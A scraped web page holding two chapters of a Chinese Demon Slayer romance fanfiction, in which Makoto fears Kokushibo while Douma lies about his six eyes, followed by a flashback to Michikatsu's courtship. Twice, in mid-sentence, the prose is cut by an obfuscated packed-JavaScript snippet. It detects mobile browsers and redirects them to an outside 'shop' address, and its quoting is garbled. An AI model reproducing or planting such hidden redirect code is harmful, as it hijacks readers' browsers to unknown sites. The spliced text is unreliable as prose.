《(鬼灭)我的前夫黑死牟》 3. 第 3 章 因为童磨大人在呼唤她,因为童磨大人还在这里,所以真子最后还是鼓起勇气,往前走了一步。 那是试探的一步,迈步的时候她一直盯着面前穿着武士服的六只眼睛的怪物看,见他没有反应,从看见他脸那一刻就一直在紧张的黑发少女松了一口气,小跑着跑向他,又小心翼翼地从他身侧跑了过去,跑到了明知道她害怕却故意不过去接她,还要她顶着害怕过去的男人身边。 童磨是故意的。 黑死牟认为这是显而易见的。 他故意让真子从他的身边过,甚至可以算是在引诱他对她动手,如果他在此刻向他讨要她,他也不会也不能拒绝他的讨要,对他这样的人来说,真子的依赖不过是一场好戏而已。 他应该向童磨讨要她。 他这么想着,转过身,看向了跑到童磨身边,一点也不记得他的山名真子——世上真的有转世么?他先前并不怎么相信,也从不对此有过好奇,不过在见到这个真子之后,他有点相信了。 毕竟她和百年前的他的妻子长的一模一样。 但也许不是他的妻子。 毕竟他的妻子本该一见面就对他微笑的。 而现在,这个和他妻子重名的女人,在他的目光投向她后,她立刻,完全把自己藏到了童磨的背后,看也不愿意看他了。 对此,童磨只是打开折扇,笑眯眯地用金属折扇遮住了自己的下半张脸。 他七彩色的眼睛在黑死牟的脸上一闪而过,如果不是真子在场,他真想说自己可比黑死牟大人看上去像人多了,也难怪真子会依赖他而害怕黑死牟大人了,不过这样一说岂不是暴露自己不是人的事了么?所以也只好不说,转而微微侧身,看向躲在自己身后,好像已经吓得不行的黑发少女,感叹道:“哦呀,真子被吓到了吗?” “嗯。” 黑发少女点点头,伸手揪住了他的垂下来的袖口,因为惊慌,所以用的力气有点大,竟然将他的袖口都捏皱了。 这可不是懂礼貌的真子平时会做的事情。 看来是真的吓到了。 嗯……那安慰一下吧。 好心的童磨如此想着,笑眯眯地翻转手掌,隔着自己宽大袖口的衣料握住了她的手:“不用害怕,黑死牟大人不是怪物,是我认识的人哦?不要站在外面了,我们进去说吧。” 听到了他的解释,山名真子抬起头有些不敢相信地看向他,然而她是无法从童磨脸上看出除了微笑以外的其他神情的,于是她又有些犹豫地看向站在不远处,没有动作的,名为黑死牟的男人,有些犹豫地咬了咬嘴唇后,迟疑地点了点头。 “嗯!” 她最终这么说。 “黑死牟大人是我的朋友,他生下来就有六只眼睛,并不是吃人的怪物哦,真子不要怕他。” 对黑死牟脸上的六个眼睛,童磨是这样解释的。 虽然撒谎不是很好,但是也不能说真话嘛,如果告诉真子黑死牟大人是鬼的话,真子要被吓死,他也要被无惨大人和黑死牟大人骂死的,所以也只好撒谎了。 不过他好像是那种就算撒谎也不会被人看出来的人呢…… 至少真子看上去一点也没有怀疑。 那是因为真子相信他。 童磨大人都这么说了,真子自然会相信,毕竟世上的畸形儿不少,虽然大多数人会在生出畸形儿的时候就把婴儿掐死溺死,但世上也许会存在爱孩子的父母,即便孩子是畸形也愿意好好抚养他,给他好吃好穿。 这样的理由,真子可以接受的。 可是要她摆出一副把黑死牟大人当作普通人,无视他的六只眼睛,表露出一点也不害怕的样子,她做不到。 于是她还是缩在高大健壮的童磨大人的背后,畏畏缩缩地不敢看那位有六只眼睛的黑死牟大人。 虽然很失礼,但是至少这样她不会吓到语无伦次,可以正常地说话。 可是,她有什么要说呢…… 原本她见他是贵客,是想要托他帮忙联系一下她的家人的,可这种事情是不能被童磨大人知道的,现在童磨大人就横在他们两个人之间,她无法开口,也不想对黑死牟大人开口了。 那么,她是为什么在这里呢?黑死牟大人为什么会来找她,为什么会盯着她不放,为什么又不说话呢? 真子的心惴惴起来,但要说恐惧,似乎也没有,她能感受到黑死牟大人虽然容貌异常,对她却没有恶意,看上去甚至还有点和善,可真子却觉得心怪怪的,从见到他的第一面就有超乎寻常的戒备心,即便有童磨大人从中斡旋,也无法对他放下戒心。 这对一向脾气不错的真子来说是很少见的情况。 然而还不等她思考,她放在跪坐的大腿上的手就被人握住牵起了,童磨大人的手很冷,冷的像是冰块一样,而拥有这样一双冰做的手的男人却用双手搓搓她热的手掌,笑着责怪她:“哎呀,真子,你看你,明明身体不好还出去吹冷风,虽然手好像很热,可人生病时是不是都会变热?那你要是生病了怎么办呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048578|194763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “……” 被搓手的黑发少女没有立刻回答,而是低下头,有些愕然地盯着童磨大人的,可以将自己的双手完全覆盖住的手。 这是他第一次握住她的手,而且还是在外人面前,她觉得有些奇怪,当然,也有点害羞,却并没有抗拒,反而有点高兴地咬住了下唇,露出了羞涩的微笑。 童磨大人的指甲好长,可是却能控制着不划伤她,而且…… “可是童磨大人的手更冷,我看是童磨大人应该会生病才对。”她微微蹙起眉,一面有些关切地看向他,一面将一只手从他的掌心抽出来,反覆住了他的手背。 真的好冷,一点温度也没有,像冰块一样…… 虽然已经不是第一次触碰到他冰凉的身体了,然而山名真子还是不由自主地为他的体温感到担心,她抿了一下嘴唇,一面因为自己被童磨大人关心,被童磨大人握手感到开心,一面又好担忧,她担忧地看着他,然而金发男人却只是笑眯眯地摇了摇头,告诉她:“我是被神赐福的,所以不会生病哦。” 是被神赐福的。 真子知道的,万世极乐教里的大家都这么说他。 童磨大人为什么有一双七彩的眼睛?因为是被神赐福的。 童磨大人为什么有这么多年容貌不改?因为是被神赐福的。 童磨大人为什么身体很冷却从不生病?因为是被神赐福的。 童磨大人为什么不晒太阳?因为神赐福了那么多,就要收走一些东西。 童磨大人是这样说的。 真子不太相信神,因为如果有神,神怎么不赐福别人呢?不过童磨大人身上有这么多奇怪的地方,那么可以只相信童磨大人是奇人,只相信他是唯一一个被神赐福的人好了。 不过,如果这样想的话…… 真子看着他,心中突然冒出了一个闪念。 这个闪念来的太快了,快到让她有点惊讶,而在短暂思考后,她就开玩笑似的将话脱口而出了:“那么,神能不能赐福我呢?” “……嗯……” 原本这只是真子的玩笑之语,虽然她有点羡慕童磨大人不会死去的身体,但如果他说神只会赐福他一个或者他并不能让神选择赐福谁这样的话…… 然而,童磨大人却没有这样说。 他有些惊讶地“哦?”了一声,露出了思考的表情,而后,侧过脸,看向沉默不发一言但却将他们的互动完全收入眼底的黑死牟,问:“黑死牟大人,您觉得呢?” 4. 第 4 章 从那日在山名家见过山名真子后,继国严胜便陷入了巨大的困扰之中。 因为,即便山名家对这桩婚事暗地里表现出了极大的支持态度,但对继国严胜来说,山名真子并不是一个合适的妻子人选。 即便山名氏的势力远比继国家强,领土也是继国氏的数倍不止,但大家族在代表实力强劲的同时,也意味着子嗣众多。 山名真子虽然美丽,却只是山名家主的众多儿女之中的一个,也许她作为病弱而美丽的女儿会因为长相和身体更受家主宠爱一些,但这种宠爱也是有限的,完全不足以弥补她自身的缺陷,也绝对不可能给继国家带来太多助力。 当然,如果山名真子是一个健康的女人的话,那么娶她为妻这件事就不会这么令人纠结了。 即便她不是他妻子的首选,也并不是坏选项——不过话又说回来,倘使她身体健康又如此美丽,又怎么论得到继国严胜娶她为妻呢? 如果是一般的小藩主,也许会觉得自己能迎娶山名家的女儿是占了便宜,然而继国严胜拥有不错的剑道造诣,又有一定的领兵才能,未来势必会将继国家的领土不断扩大,因而,比起山名家,他应该娶一些势力不大,且只有独女或者有子但儿子能力不强的藩主之女,借着姻亲关系将夫人娘家的领土一并吞下才对。 一个得家主宠爱,但宠爱不多,虽然会带来不少的嫁妆,但远不足以弥补她健康问题的女子……并不是继国严胜应该迎娶的妻子。 他应该迎娶其他的藩主之女。 这本该是多么简单的,仅用不到一炷香时间就可以分析出结果的事情,继国严胜却思考了很久。 在见到山名真子的几个月后,他一直在这件从理智上看无比简单,从情感上看却无比困难的事情上纠结,纠结,每当他觉得已经结束时,他眼前总会浮现出山名真子那双带着笑意却隐约透出忧郁的眼睛,而每当他看到月光,就会回忆起月光下廊下的女人。 这实在是一种古怪的感觉。 如果要说这是爱,那爱的也太廉价了。 于是继国严胜认为,他是被她的皮囊魅惑了,那种古怪,也仅仅是见色起意的一点‘意’罢了。 找出了一切不对劲源头,继国严胜没有再继续再在这件事上思考下去,有些事情不是非要拒绝才是拒绝,只要不回复,不表达出意向,就是拒绝。 他和山名真子的缘分也该到此为止。 直到那一天——山名真子拜访他家的那一天。 其实并非是拜访,因为一个未婚也可女子带着家仆拜访非亲非故的其他藩主听上去实在失礼极了,所以这场拜访其实事出有因。 山名真子本是要去她母家细川氏的领地丹波国做客,然而夏天天气变化极快,经过继国氏领土时正巧遇到暴雨,身体不好的她便只好在继国家的宅邸中借宿了。 是命运使然还是有意为之,继国严胜并不知道,也并不想深究。 既然山名真子来了,他就让她住下了——当然,其实他可以不让她住在他的宅中,他是封国的藩主,是大名,自然可以在自己的领土上腾出一间无人居住的正式宅院给她作为歇脚之所,倘若他真的这么做了,就是告诉她他无意娶她为妻,先前他纠结的事情也可以就此解决,不再纠结。 但是…… 但是这件事情本是如此简单,他却迟迟没有下决定。 那说明他很想要。 正是因为很想要,所以才纠结的。 总之,山名真子就这样住了下来。 继国严胜的母亲早早去世,他也没有妾侍,因而家中并没有可以打理后宅事物的有身份的女子,都是交由管家来一应处理,但管家也已很久没有招待过女客,所以大概是有所不周的。 不过山名真子显然是个很好说话的客人,客随主便,对继国家的宅内事物并不做任何要求,她没有给他带来麻烦,然而她只要一出现,一切就变了。 那些理智,那些权衡利弊,那些不应该娶她的想法在见到她的时候就烟消云散了。 在没见到她时,继国严胜想的很好,可一在廊下,院中,厅内见到她,就没有任何哪怕带一点拒绝意味的话可以说了。 而他们见了面,却也说不了太多话,不过是在这里住的怎么样,饮食上还习惯么,身体还好么,这样客套的,无法深入的话题,然而即便是这样的话题,山名真子也都会笑着一一回答,告诉他这里很好,承蒙大人关心,吃食上也都很好,身体最近已经调养好了,只要不受冷就不会生病,这样种种的话。 自从来了这里,她似乎就很高兴,比在山名家见到时还要高兴,好像她天生就是属于这里的一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048579|194763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是一见面就对他笑起来,她笑起来,他也想不起问什么时候走了,有时候甚至觉得一直留下也未尝不可。 然而这场夏天的大雨却没有持续很久,在雨大到导致山洪之前停住了,但道路还需要重新清理一段时间,而这时候,继国严胜和山名真子见面时终于不再说那些客套话了。 他们会谈论稍微深入一些的话题,比方说平时会做什么,继国严胜的日常其实很无趣,无非是练剑和处理封国内事物,如果有战争,那么便领兵打仗,对于后者,山名真子并没有什么兴趣,不过对于剑道,她似乎有些好奇。 “兄长们虽然也练剑,可是他们都说比不过继国大人呢!” 她是这样说的,虽然是恭维的话,可注视他的那双黑色眼睛却闪闪发光,充满崇敬。 可继国严胜并没有为人展示自己剑术的想法,剑术也并非是这样用来讨人欢心之物,因而,即便他听懂了她的言下之意,也没有顺应她的心意说可以为她展示,而很懂得察言观色的山名真子的确没有再强求。 她甚至没有愣神,只是在察觉到他那一点拒绝的意味便抿了抿本就苍白没什么血色的嘴唇,随即垂下眼睑,嗯了一声,再次抬起脸时已经加深了笑意,岔开了话题,问他:“嗯……我平日里,会弹和琴,大人想听么?” 山名真子的眼睛虽然是黑色的,然而却好像盛了水,看人的时候水盈盈的,加上她那么体弱,那么可怜,继国严胜实在没能再拒绝她,也实在没有理由拒绝她。 然而,他的宅中没有乐伎,库房中的和琴疏于维护,琴弦已断,没法让她一展才艺。 不过如果她下次再来,和琴一定已经被修好了。 面对少女没能克制住的失落的神情时,继国严胜没有忍住,说了这样一句安慰的话。 “那么,等我从外祖父家回来,还能再来这里拜访您么?” 刚刚还失落着,连笑容都无法维持的黑发少女立刻抬起了头,睁大眼睛,用努力维持镇定,然而尾音已经透露出雀跃的声音带着期盼这样问他。 “当然。” 就像没能忍住说刚刚那样安慰的话一样,这一次,继国严胜也没能忍住说出‘当然’。 而后来,在前往丹波国道路被清理好的那一天,在清晨偶然经过院中的山名真子也终于见到了他的剑术。